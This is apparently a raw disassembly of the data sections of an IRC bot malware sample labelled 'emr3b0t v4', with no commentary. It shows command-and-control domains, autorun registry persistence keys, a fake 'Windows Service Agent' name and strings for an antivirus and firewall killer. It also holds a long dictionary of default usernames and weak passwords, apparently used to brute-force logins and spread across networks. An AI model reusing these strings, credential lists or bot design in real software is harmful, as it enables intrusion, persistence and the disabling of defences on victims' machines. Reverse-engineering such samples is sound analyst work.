		dd offset dword_43E30C+4
		align 8
dword_43E338	dd 19930520h, 2		; DATA XREF: .text:loc_43BA8Fo
		dd offset dword_43E358
		dd 5 dup(0)
dword_43E358	dd 0FFFFFFFFh		; DATA XREF: .rdata:0043E340o
		dd offset sub_43BA78
		dd 0
		dd offset sub_43BA70
dword_43E368	dd 19930520h, 2		; DATA XREF: .text:loc_43BAA9o
		dd offset dword_43E388
		dd 5 dup(0)
dword_43E388	dd 0FFFFFFFFh		; DATA XREF: .rdata:0043E370o
		dd offset sub_43BA99
		dd 0
		dd offset sub_43BAA1
dword_43E398	dd 19930520h, 2		; DATA XREF: .text:loc_43BAB4o
		dd offset dword_43E3B8
		dd 1
		dd offset dword_43E3C8
		dd 3 dup(0)
dword_43E3B8	dd 0FFFFFFFFh, 0	; DATA XREF: .rdata:0043E3A0o
		dd 0FFFFFFFFh, 0
dword_43E3C8	dd 2 dup(0)		; DATA XREF: .rdata:0043E3A8o
		dd 2 dup(1)
		dd offset dword_43E3E0
		align 10h
dword_43E3E0	dd 3 dup(0)		; DATA XREF: .rdata:0043E3D8o
		dd offset loc_40E1B5
dword_43E3F0	dd 0			; DATA XREF: .rdata:0043E45Co
					; .rdata:0043E4C8o ...
		dd offset off_4551F0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch
		dd offset ??0exception@@QAE@ABV0@@Z ; exception::exception(exception const &)
dword_43E40C	dd 2 dup(0)		; DATA XREF: .rdata:0043E458o
					; .rdata:0043E4C4o ...
		dd offset off_455208
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch
		dd offset sub_43A720
dword_43E42C	dd 2 dup(0)		; DATA XREF: .rdata:0043E454o
		dd offset off_455228
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch
		dd offset sub_43A990
		align 10h
dword_43E450	dd 3			; DATA XREF: .rdata:0043E46Co
		dd offset dword_43E42C+4
		dd offset dword_43E40C+4
		dd offset dword_43E3F0
dword_43E460	dd 0			; DATA XREF: sub_43A6C0+3Fo
					; sub_43A930+15o
		dd offset sub_43A910
		dd 0
		dd offset dword_43E450
dword_43E470	dd 19930520h, 1		; DATA XREF: SEH_43A6C0o
		dd offset dword_43E490
		dd 5 dup(0)
dword_43E490	dd 0FFFFFFFFh		; DATA XREF: .rdata:0043E478o
		dd offset sub_43BAC0
dword_43E498	dd 19930520h, 1		; DATA XREF: SEH_43A720o
		dd offset dword_43E4B8
		dd 5 dup(0)
dword_43E4B8	dd 0FFFFFFFFh		; DATA XREF: .rdata:0043E4A0o
		dd offset sub_43BAE0
dword_43E4C0	dd 2			; DATA XREF: .rdata:0043E4DCo
		dd offset dword_43E40C+4
		dd offset dword_43E3F0
		align 10h
dword_43E4D0	dd 0			; DATA XREF: sub_43A7B0+15o
		dd offset sub_43A7E0
		dd 0
		dd offset dword_43E4C0
dword_43E4E0	dd 19930520h, 1		; DATA XREF: SEH_43A7E0o
		dd offset dword_43E500
		dd 5 dup(0)
dword_43E500	dd 0FFFFFFFFh		; DATA XREF: .rdata:0043E4E8o
		dd offset sub_43BB00
dword_43E508	dd 19930520h, 1		; DATA XREF: SEH_43A8A0o
		dd offset dword_43E528
		dd 5 dup(0)
dword_43E528	dd 0FFFFFFFFh		; DATA XREF: .rdata:0043E510o
		dd offset sub_43BB20
dword_43E530	dd 0			; DATA XREF: .rdata:0043E554o
		dd offset off_455248
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch
		dd offset sub_43AAD0
		align 10h
dword_43E550	dd 3			; DATA XREF: .rdata:0043E56Co
		dd offset dword_43E530
		dd offset dword_43E40C+4
		dd offset dword_43E3F0
dword_43E560	dd 0			; DATA XREF: sub_43A9C0+3Fo
					; sub_43AA70+15o
		dd offset sub_43AA50
		dd 0
		dd offset dword_43E550
dword_43E570	dd 19930520h, 1		; DATA XREF: SEH_43A9C0o
		dd offset dword_43E590
		dd 5 dup(0)
dword_43E590	dd 0FFFFFFFFh		; DATA XREF: .rdata:0043E578o
		dd offset sub_43BB40
_rdata		ends

; Section 3. (virtual address 0003F000)
; Virtual size			: 000B5C3D ( 744509.)
; Section size in file		: 000B5C3D ( 744509.)
; Offset to raw	data for section: 0003F000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 43F000h
dword_43F000	dd 0			; DATA XREF: __cinit+29o
		dd offset loc_4013FF
		dd offset sub_40DCBD
		dd offset sub_40E2C6
		dd offset sub_40F144
		dd offset unknown_libname_35 ; Microsoft VisualC 2-8/net runtime
dword_43F018	dd 0			; DATA XREF: __cinit+24o
dword_43F01C	dd 0			; DATA XREF: __cinit+17o
		dd offset ___onexitinit
		dd offset ___initstdio
		dd offset ___initmbctable
		dd offset ?__CxxSetUnhandledExceptionFilter@@YAXXZ ; __CxxSetUnhandledExceptionFilter(void)
dword_43F030	dd 0			; DATA XREF: __cinit:loc_41EAD2o
dword_43F034	dd 0			; DATA XREF: _doexit+76o
		dd offset ___endstdio
dword_43F03C	dd 0			; DATA XREF: _doexit:loc_41EBF1o
dword_43F040	dd 0			; DATA XREF: _doexit+88o
		dd offset ?__CxxRestoreUnhandledExceptionFilter@@YAXXZ ; __CxxRestoreUnhandledExceptionFilter(void)
dword_43F048	dd 2 dup(0)		; DATA XREF: _doexit:loc_41EC03o
dword_43F050	dd 80000002h		; DATA XREF: sub_401000+7o
		dd offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		dd 80000002h
		dd offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		dd 80000001h
		dd offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
dword_43F068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo
dword_43F06C	dd 1F90h		; DATA XREF: WinMain(x,x,x,x)+4A4r
					; WinMain(x,x,x,x)+539r
dword_43F070	dd 1F91h		; DATA XREF: WinMain(x,x,x,x)+585r
dword_43F074	dd 7E4h			; DATA XREF: sub_401CC7:loc_404806r
dword_43F078	dd 45h			; DATA XREF: sub_401CC7+2079r
					; sub_40C12D+3Br
dword_43F07C	dd 7D1h			; DATA XREF: sub_401CC7:loc_403E2Er
					; sub_40C12D:loc_40C51Er
dword_43F080	dd 201h			; DATA XREF: sub_401CC7:loc_403FBAr
word_43F084	dw 7C7h			; DATA XREF: sub_401CC7:loc_404929r
		align 4
dword_43F088	dd 1			; DATA XREF: sub_401CC7+646r
dword_43F08C	dd 1			; DATA XREF: WinMain(x,x,x,x)+13Dr
dword_43F090	dd 1			; DATA XREF: WinMain(x,x,x,x):loc_40175Cr
					; sub_4190F6+Cr
byte_43F094	db 2Eh			; DATA XREF: sub_401CC7+A7Ar
					; sub_401CC7+B34r ...
		align 4
dword_43F098	dd 5			; DATA XREF: sub_40B06A+3Ar
					; sub_40B06A+60r ...
; int dword_43F09C
dword_43F09C	dd 4			; DATA XREF: sub_4019E7+78r
					; sub_401CC7+270r ...
; int dword_43F0A0
dword_43F0A0	dd 1			; DATA XREF: sub_4019E7+72r
					; sub_401CC7+26Ar
; char aTrb[]
aTrb		db 'trb',0              ; DATA XREF: WinMain(x,x,x,x)+5Do
					; sub_401CC7:loc_40468Bo ...
aEmr3b0tV4	db 'emr3b0t v4',0       ; DATA XREF: sub_401CC7:loc_404B30o
		align 4
; char a3zef[]
a3zef		db '3zef',0             ; DATA XREF: sub_401CC7+7EA3o
					; sub_401CC7+7F72o
		align 4
; char Source[]
Source		db 'saken-qlbe.net',0   ; DATA XREF: WinMain(x,x,x,x)+490o
					; WinMain(x,x,x,x)+52Ao
		align 4
byte_43F0CC	db 33h			; DATA XREF: sub_401B4F+28r
					; sub_401B4F+30o
aZef3		db 'zef3',0
		align 4
; char a0[]
a0		db '#0#',0              ; DATA XREF: WinMain(x,x,x,x)+4B0o
					; WinMain(x,x,x,x)+540o ...
; char a7lome[]
a7lome		db '7lome',0            ; DATA XREF: WinMain(x,x,x,x)+4C7o
					; WinMain(x,x,x,x)+552o
		align 10h
; char byte_43F0E0
byte_43F0E0	db 73h			; DATA XREF: WinMain(x,x,x,x):loc_401983r
					; WinMain(x,x,x,x)+576o
aAkenQlbe_org	db 'aken-qlbe.org',0
		align 10h
; char a1[]
a1		db '#1#',0              ; DATA XREF: WinMain(x,x,x,x)+58Co
; char a7lome_0[]
a7lome_0	db '7lome',0            ; DATA XREF: WinMain(x,x,x,x)+59Eo
		align 4
; char Str[]
Str		db 'nlzhxmpyrjsyle.exe',0 ; DATA XREF: WinMain(x,x,x,x)+143o
					; WinMain(x,x,x,x)+167w ...
		align 10h
; char aWinnt_bat[]
aWinnt_bat	db 'winnt.bat',0        ; DATA XREF: sub_412694+3Do
		align 4
aWindowsService	db 'Windows Service Agent',0 ; DATA XREF: sub_401000+Eo
		align 4
asc_43F134:				; DATA XREF: sub_40B0D7+12o
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401CC7+7FEEo
		align 4
; char a2[]
a2		db '#2',0               ; DATA XREF: sub_401CC7+1D36o
					; sub_401CC7+3039o ...
		align 10h
; char a2_0[]
a2_0		db '#2',0               ; DATA XREF: sub_401CC7+449Ao
		align 4
; char a2_1[]
a2_1		db '#2',0               ; DATA XREF: sub_401CC7+40BEo
					; sub_401CC7+4210o
		align 4
off_43F158	dd offset a@admin	; DATA XREF: sub_401CC7:loc_409BBDo
					; "*@admin"
off_43F15C	dd offset aMircV6_16Khale ; DATA XREF: sub_401CC7+8AEr
					; sub_401CC7+7F12o
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: .data:0043F054o
					; .data:0043F064o
		align 4
aSoftwareMicr_1	db 'Software\Microsoft\Windows\CurrentVersion\RunServices',0
					; DATA XREF: .data:0043F05Co
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41AD5D+28o
					; sub_41B081+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41AD5D+D4o
					; sub_41B081+D4o
		align 4
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		dd 0
		dd offset dword_4E2F90
		dd offset aAdministrato_1 ; "administrator"
		dd offset aAdministrado_0 ; "administrador"
		dd offset aAdministrate_0 ; "administrateur"
		dd offset aAdministrat_0 ; "administrat"
		dd offset aAdmins_0	; "admins"
		dd offset aAdmin_0	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass_1	; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1_0		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003_0	; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_1	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault_0	; "default"
		dd offset aSystem	; "system"
		dd offset aServer_6	; "server"
		dd offset aRoot_0	; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser_4	; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter_0	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob_0	; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin_2	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase_0	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2_0	; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa_0		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle_0	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp_1		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet_0	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent_0	; "student"
		dd offset aTeacher_0	; "teacher"
		dd offset aStaff_0	; "staff"
		dd 0
dword_43F494	dd 10h			; DATA XREF: sub_401CC7+AE4r
					; sub_401CC7+B10r ...
a@admin		db '*@admin',0          ; DATA XREF: .data:off_43F158o
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .data:off_43F15Co
		align 10h
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .data:0043F160o
		align 10h
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .data:0043F164o
		align 10h
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .data:0043F168o
		align 10h
aAdministrato_0	db 'administrator',0    ; DATA XREF: .data:0043F214o
		align 10h
aAdministrador	db 'administrador',0    ; DATA XREF: .data:0043F218o
		align 10h
aAdministrateur	db 'administrateur',0   ; DATA XREF: .data:0043F21Co
		align 10h
aAdministrat	db 'administrat',0      ; DATA XREF: .data:0043F220o
aAdmins		db 'admins',0           ; DATA XREF: .data:0043F224o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: .data:0043F228o
		align 4
aStaff		db 'staff',0            ; DATA XREF: .data:0043F22Co
		align 4
aRoot		db 'root',0             ; DATA XREF: .data:0043F230o
		align 4
aComputer	db 'computer',0         ; DATA XREF: .data:0043F234o
		align 4
aOwner		db 'owner',0            ; DATA XREF: .data:0043F238o
		align 10h
aStudent	db 'student',0          ; DATA XREF: .data:0043F23Co
aTeacher	db 'teacher',0          ; DATA XREF: .data:0043F240o
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: .data:0043F244o
		align 4
aGuest_0	db 'guest',0            ; DATA XREF: .data:0043F248o
		align 4
aDefault	db 'default',0          ; DATA XREF: .data:0043F24Co
aDatabase	db 'database',0         ; DATA XREF: .data:0043F250o
		align 4
aDba		db 'dba',0              ; DATA XREF: .data:0043F254o
aOracle		db 'oracle',0           ; DATA XREF: .data:0043F258o
		align 4
aDb2		db 'db2',0              ; DATA XREF: .data:0043F25Co
aAdministrato_1	db 'administrator',0    ; DATA XREF: .data:0043F268o
		align 4
aAdministrado_0	db 'administrador',0    ; DATA XREF: .data:0043F26Co
		align 4
aAdministrate_0	db 'administrateur',0   ; DATA XREF: .data:0043F270o
		align 4
aAdministrat_0	db 'administrat',0      ; DATA XREF: .data:0043F274o
aAdmins_0	db 'admins',0           ; DATA XREF: .data:0043F278o
		align 4
aAdmin_0	db 'admin',0            ; DATA XREF: .data:0043F27Co
		align 4
aAdm		db 'adm',0              ; DATA XREF: .data:0043F280o
aPassword1	db 'password1',0        ; DATA XREF: .data:0043F284o
		align 4
aPassword	db 'password',0         ; DATA XREF: .data:0043F288o
		align 10h
aPasswd		db 'passwd',0           ; DATA XREF: .data:0043F28Co
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: .data:0043F290o
		align 4
aPass_1		db 'pass',0             ; DATA XREF: .data:0043F294o
		align 4
aPwd		db 'pwd',0              ; DATA XREF: .data:0043F298o
a007		db '007',0              ; DATA XREF: .data:0043F29Co
a1_0:					; DATA XREF: .data:0043F2A0o
		unicode	0, <1>,0
a12		db '12',0               ; DATA XREF: .data:0043F2A4o
		align 4
a123		db '123',0              ; DATA XREF: .data:0043F2A8o
a1234		db '1234',0             ; DATA XREF: .data:0043F2ACo
		align 4
a12345		db '12345',0            ; DATA XREF: .data:0043F2B0o
		align 10h
a123456		db '123456',0           ; DATA XREF: .data:0043F2B4o
		align 4
a1234567	db '1234567',0          ; DATA XREF: .data:0043F2B8o
a12345678	db '12345678',0         ; DATA XREF: .data:0043F2BCo
		align 4
a123456789	db '123456789',0        ; DATA XREF: .data:0043F2C0o
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: .data:0043F2C4o
		align 4
a2000		db '2000',0             ; DATA XREF: .data:0043F2C8o
		align 4
a2001		db '2001',0             ; DATA XREF: .data:0043F2CCo
		align 4
a2002		db '2002',0             ; DATA XREF: .data:0043F2D0o
		align 4
a2003_0		db '2003',0             ; DATA XREF: .data:0043F2D4o
		align 4
a2004		db '2004',0             ; DATA XREF: .data:0043F2D8o
		align 4
aTest		db 'test',0             ; DATA XREF: .data:0043F2DCo
		align 4
aGuest_1	db 'guest',0            ; DATA XREF: .data:0043F2E0o
		align 4
aNone		db 'none',0             ; DATA XREF: .data:0043F2E4o
		align 4
aDemo		db 'demo',0             ; DATA XREF: .data:0043F2E8o
		align 4
aUnix		db 'unix',0             ; DATA XREF: .data:0043F2ECo
		align 4
aLinux		db 'linux',0            ; DATA XREF: .data:0043F2F0o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: .data:0043F2F4o
		align 4
aDefault_0	db 'default',0          ; DATA XREF: .data:0043F2F8o
aSystem		db 'system',0           ; DATA XREF: .data:0043F2FCo
		align 4
aServer_6	db 'server',0           ; DATA XREF: .data:0043F300o
		align 10h
aRoot_0		db 'root',0             ; DATA XREF: .data:0043F304o
		align 4
aNull_1		db 'null',0             ; DATA XREF: .data:0043F308o
		align 10h
aQwerty		db 'qwerty',0           ; DATA XREF: .data:0043F30Co
		align 4
aMail		db 'mail',0             ; DATA XREF: .data:0043F310o
		align 10h
aOutlook	db 'outlook',0          ; DATA XREF: .data:0043F314o
aWeb		db 'web',0              ; DATA XREF: .data:0043F318o
aWww		db 'www',0              ; DATA XREF: .data:0043F31Co
aInternet	db 'internet',0         ; DATA XREF: .data:0043F320o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: .data:0043F324o
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: .data:0043F328o
		align 4
aHome		db 'home',0             ; DATA XREF: .data:0043F32Co
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: .data:0043F330o
		align 4
aUser_4		db 'user',0             ; DATA XREF: .data:0043F334o
		align 10h
aOem		db 'oem',0              ; DATA XREF: .data:0043F338o
aOemuser	db 'oemuser',0          ; DATA XREF: .data:0043F33Co
aOeminstall	db 'oeminstall',0       ; DATA XREF: .data:0043F340o
		align 4
aWindows	db 'windows',0          ; DATA XREF: .data:0043F344o
aWin98		db 'win98',0            ; DATA XREF: .data:0043F348o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: .data:0043F34Co
		align 10h
aWinxp		db 'winxp',0            ; DATA XREF: .data:0043F350o
		align 4
aWinnt		db 'winnt',0            ; DATA XREF: .data:0043F354o
		align 10h
aWin2000	db 'win2000',0          ; DATA XREF: .data:0043F358o
aQaz		db 'qaz',0              ; DATA XREF: .data:0043F35Co
aAsd		db 'asd',0              ; DATA XREF: .data:0043F360o
aZxc		db 'zxc',0              ; DATA XREF: .data:0043F364o
aQwe		db 'qwe',0              ; DATA XREF: .data:0043F368o
aBob		db 'bob',0              ; DATA XREF: .data:0043F36Co
aJen		db 'jen',0              ; DATA XREF: .data:0043F370o
aJoe		db 'joe',0              ; DATA XREF: .data:0043F374o
aFred		db 'fred',0             ; DATA XREF: .data:0043F378o
		align 4
aBill		db 'bill',0             ; DATA XREF: .data:0043F37Co
		align 4
aMike		db 'mike',0             ; DATA XREF: .data:0043F380o
		align 4
aJohn		db 'john',0             ; DATA XREF: .data:0043F384o
		align 4
aPeter		db 'peter',0            ; DATA XREF: .data:0043F388o
		align 4
aLuke		db 'luke',0             ; DATA XREF: .data:0043F38Co
		align 4
aSam		db 'sam',0              ; DATA XREF: .data:0043F390o
aSue		db 'sue',0              ; DATA XREF: .data:0043F394o
aSusan		db 'susan',0            ; DATA XREF: .data:0043F398o
		align 4
aPeter_0	db 'peter',0            ; DATA XREF: .data:0043F39Co
		align 4
aBrian		db 'brian',0            ; DATA XREF: .data:0043F3A0o
		align 4
aLee		db 'lee',0              ; DATA XREF: .data:0043F3A4o
aNeil		db 'neil',0             ; DATA XREF: .data:0043F3A8o
		align 10h
aIan		db 'ian',0              ; DATA XREF: .data:0043F3ACo
aChris		db 'chris',0            ; DATA XREF: .data:0043F3B0o
		align 4
aEric		db 'eric',0             ; DATA XREF: .data:0043F3B4o
		align 4
aGeorge		db 'george',0           ; DATA XREF: .data:0043F3B8o
		align 4
aKate		db 'kate',0             ; DATA XREF: .data:0043F3BCo
		align 4
aBob_0		db 'bob',0              ; DATA XREF: .data:0043F3C0o
aKatie		db 'katie',0            ; DATA XREF: .data:0043F3C4o
		align 10h
aMary		db 'mary',0             ; DATA XREF: .data:0043F3C8o
		align 4
aLogin_2	db 'login',0            ; DATA XREF: .data:0043F3CCo
		align 10h
aLoginpass	db 'loginpass',0        ; DATA XREF: .data:0043F3D0o
		align 4
aTechnical	db 'technical',0        ; DATA XREF: .data:0043F3D4o
		align 4
aBackup		db 'backup',0           ; DATA XREF: .data:0043F3D8o
		align 10h
aExchange	db 'exchange',0         ; DATA XREF: .data:0043F3DCo
		align 4
aFuck		db 'fuck',0             ; DATA XREF: .data:0043F3E0o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: .data:0043F3E4o
		align 4
aSlut		db 'slut',0             ; DATA XREF: .data:0043F3E8o
		align 4
aSex		db 'sex',0              ; DATA XREF: .data:0043F3ECo
aGod		db 'god',0              ; DATA XREF: .data:0043F3F0o
aHell		db 'hell',0             ; DATA XREF: .data:0043F3F4o
		align 4
aHello		db 'hello',0            ; DATA XREF: .data:0043F3F8o
		align 4
aDomain		db 'domain',0           ; DATA XREF: .data:0043F3FCo
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: .data:0043F400o
		align 10h
aDomainpassword	db 'domainpassword',0   ; DATA XREF: .data:0043F404o
		align 10h
aDatabase_0	db 'database',0         ; DATA XREF: .data:0043F408o
		align 4
aAccess		db 'access',0           ; DATA XREF: .data:0043F40Co
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: .data:0043F410o
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: .data:0043F414o
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: .data:0043F418o
		align 4
aData		db 'data',0             ; DATA XREF: .data:0043F41Co
		align 10h
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: .data:0043F420o
		align 4
aDb1		db 'db1',0              ; DATA XREF: .data:0043F424o
aDb2_0		db 'db2',0              ; DATA XREF: .data:0043F428o
aDb1234		db 'db1234',0           ; DATA XREF: .data:0043F42Co
		align 4
aSa_0		db 'sa',0               ; DATA XREF: .data:0043F430o
		align 4
aSql		db 'sql',0              ; DATA XREF: .data:0043F434o
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: .data:0043F438o
		align 10h
aOrainstall	db 'orainstall',0       ; DATA XREF: .data:0043F43Co
		align 4
aOracle_0	db 'oracle',0           ; DATA XREF: .data:0043F440o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: .data:0043F444o
aCisco		db 'cisco',0            ; DATA XREF: .data:0043F448o
		align 10h
aDell		db 'dell',0             ; DATA XREF: .data:0043F44Co
		align 4
aCompaq		db 'compaq',0           ; DATA XREF: .data:0043F450o
		align 10h
aSiemens	db 'siemens',0          ; DATA XREF: .data:0043F454o
aHp		db 'hp',0               ; DATA XREF: .data:0043F458o
		align 4
aNokia		db 'nokia',0            ; DATA XREF: .data:0043F45Co
		align 4
aXp_1		db 'xp',0               ; DATA XREF: .data:0043F460o
		align 4
aControl	db 'control',0          ; DATA XREF: .data:0043F464o
aOffice		db 'office',0           ; DATA XREF: .data:0043F468o
		align 4
aBlank		db 'blank',0            ; DATA XREF: .data:0043F46Co
		align 10h
aWinpass	db 'winpass',0          ; DATA XREF: .data:0043F470o
aMain		db 'main',0             ; DATA XREF: .data:0043F474o
		align 10h
aLan		db 'lan',0              ; DATA XREF: .data:0043F478o
aInternet_0	db 'internet',0         ; DATA XREF: .data:0043F47Co
		align 10h
aIntranet	db 'intranet',0         ; DATA XREF: .data:0043F480o
		align 4
aStudent_0	db 'student',0          ; DATA XREF: .data:0043F484o
aTeacher_0	db 'teacher',0          ; DATA XREF: .data:0043F488o
aStaff_0	db 'staff',0            ; DATA XREF: .data:0043F48Co
		align 4
; char aSS[]
aSS		db '%s%s',0             ; DATA XREF: WinMain(x,x,x,x)+10Do
		align 4
; char Format[]
Format		db '%s\%s',0            ; DATA XREF: WinMain(x,x,x,x)+189o
		align 4
; char aSDS[]
aSDS		db '%s %d "%s"',0       ; DATA XREF: WinMain(x,x,x,x)+28Fo
		align 10h
; char asc_43FA60[]
asc_43FA60	db '-'                  ; DATA XREF: WinMain(x,x,x,x)+364o
		db 3, 34h, 2
		dd 6E69616Dh, 202D0203h, 20746F42h, 72617473h, 2E646574h
		dd 0
; char asc_43FA7C[]
asc_43FA7C	db '-'                  ; DATA XREF: WinMain(x,x,x,x)+3A2o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 10h
; char asc_43FAA0[]
asc_43FAA0	db '-'                  ; DATA XREF: WinMain(x,x,x,x)+3F3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 10h
; char asc_43FAE0[]
asc_43FAE0	db '-'                  ; DATA XREF: WinMain(x,x,x,x)+420o
		db 3, 34h, 2
		dd 6E656469h, 2036474h
aServerRunningO	db '- Server running on Port: 113.',0
		align 4
; char asc_43FB0C[]
asc_43FB0C	db '-'                  ; DATA XREF: WinMain(x,x,x,x)+46Bo
		db 3, 34h, 2
		dd 6E656469h, 2036474h
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 10h
; char asc_43FB40[]
asc_43FB40	db '-'                  ; DATA XREF: sub_4019E7+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 10h
; char aPassS[]
